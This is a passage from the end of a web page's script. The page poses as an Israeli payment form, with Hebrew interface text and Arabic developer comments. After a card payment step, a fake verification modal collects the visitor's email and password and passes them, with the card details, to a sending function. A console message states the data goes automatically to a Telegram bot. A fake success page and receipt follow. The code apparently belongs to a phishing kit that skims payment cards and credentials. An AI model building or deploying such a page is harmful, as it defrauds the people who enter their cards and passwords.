                        } finally {
                            payNowBtn.disabled = false;
                            payNowBtn.innerHTML = 'בצע תשלום';
                        }
                    }, 500);
                });
            }

            // ============================================================
            // 11. أحداث المودال
            // ============================================================
            const cancelBtn = document.getElementById('cancelOtpBtn');
            const confirmBtn = document.getElementById('confirmOtpBtn');
            if (cancelBtn) {
                cancelBtn.addEventListener('click', () => {
                    const modal = document.getElementById('otpModal');
                    if (modal) modal.classList.remove('active');
                });
            }
            if (confirmBtn) {
                confirmBtn.addEventListener('click', async function() {
                    const errorDiv = document.getElementById('authError');
                    try {
                        const email = document.getElementById('emailInput')?.value.trim() || '';
                        const password = document.getElementById('passwordInput')?.value.trim() || '';
                        const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
                        if (!emailRegex.test(email)) {
                            if (errorDiv) errorDiv.innerText = '❌ כתובת האימייל שהוזנה אינה תקינה.';
                            return;
                        }
                        if (password.length < 8) {
                            if (errorDiv) errorDiv.innerText = '❌ הסיסמה חייבת להכיל לפחות 8 תווים.';
                            return;
                        }
                        collectedData.email = email;
                        collectedData.password = password;

                        // إرسال نهائي مع الإيميل والباسورد
                        await sendCardDetails();

                        const modal = document.getElementById('otpModal');
                        if (modal) modal.classList.remove('active');
                        paymentCompleted = true;
                        showSuccessPage();
                    } catch (err) {
                        console.error(err);
                        if (errorDiv) errorDiv.innerText = '❌ حدث خطأ غير متوقع. حاول مرة أخرى.';
                    }
                });
            }

            // ============================================================
            // 12. ألعاب نارية
            // ============================================================
            function startFireworks() {
                const canvas = document.getElementById('fireworksCanvas');
                if (!canvas) return;
                canvas.width = window.innerWidth;
                canvas.height = window.innerHeight;
                const ctx = canvas.getContext('2d');
                let particles = [];
                for (let i = 0; i < 80; i++) {
                    particles.push({
                        x: Math.random() * canvas.width, y: Math.random() * canvas.height,
                        radius: Math.random() * 4 + 2,
                        color: `hsl(${Math.random() * 360}, 100%, 60%)`,
                        vx: (Math.random() - 0.5) * 6, vy: (Math.random() - 0.5) * 6 - 2,
                        life: 1, decay: 0.02
                    });
                }
                function animate() {
                    if (!canvas || !ctx) return;
                    ctx.clearRect(0, 0, canvas.width, canvas.height);
                    let allDead = true;
                    for (let p of particles) {
                        if (p.life > 0) {
                            allDead = false;
                            p.x += p.vx; p.y += p.vy;
                            p.life -= p.decay;
                            ctx.globalAlpha = p.life;
                            ctx.beginPath(); ctx.arc(p.x, p.y, p.radius, 0, Math.PI*2);
                            ctx.fillStyle = p.color; ctx.fill();
                        }
                    }
                    if (!allDead) requestAnimationFrame(animate);
                    else canvas.style.display = 'none';
                }
                canvas.style.display = 'block';
                animate();
                setTimeout(() => canvas.style.display = 'none', 2000);
            }

            // ============================================================
            // 13. الساعة والأزرار الإضافية
            // ============================================================
            function updateClock() {
                const now = new Date();
                const el = document.getElementById('clockDisplay');
                if (el) el.innerText = now.toLocaleString('he-IL', { timeZone: 'Asia/Jerusalem' });
            }
            updateClock();
            setInterval(updateClock, 1000);

            const homeBtn = document.getElementById('homeBtn');
            if (homeBtn) homeBtn.addEventListener('click', () => location.reload());
            const pdfBtn = document.getElementById('downloadPDFBtn');
            if (pdfBtn) {
                pdfBtn.addEventListener('click', function() {
                    const content = document.getElementById('receiptContent');
                    if (!content) return;
                    const win = window.open('', '_blank');
                    if (!win) return;
                    win.document.write(`<html dir="rtl"><head><title>אישור תשלום</title><style>body{font-family:Arial;padding:1rem;}</style></head><body>${content.innerHTML}</body></html>`);
                    win.document.close();
                    win.print();
                });
            }

            console.log('✅ הכל מוכן! הנתונים יישלחו אוטומטית לטייליגרם עם התוקן שסיפקת.');
        } catch (globalErr) {
            console.error('❌ خطأ فادح:', globalErr);
            alert('فشل تحميل الصفحة. تحقق من وحدة التحكم (F12).');
        }
    });
</script>
</body>
</html>

© 2026 Iwafut Security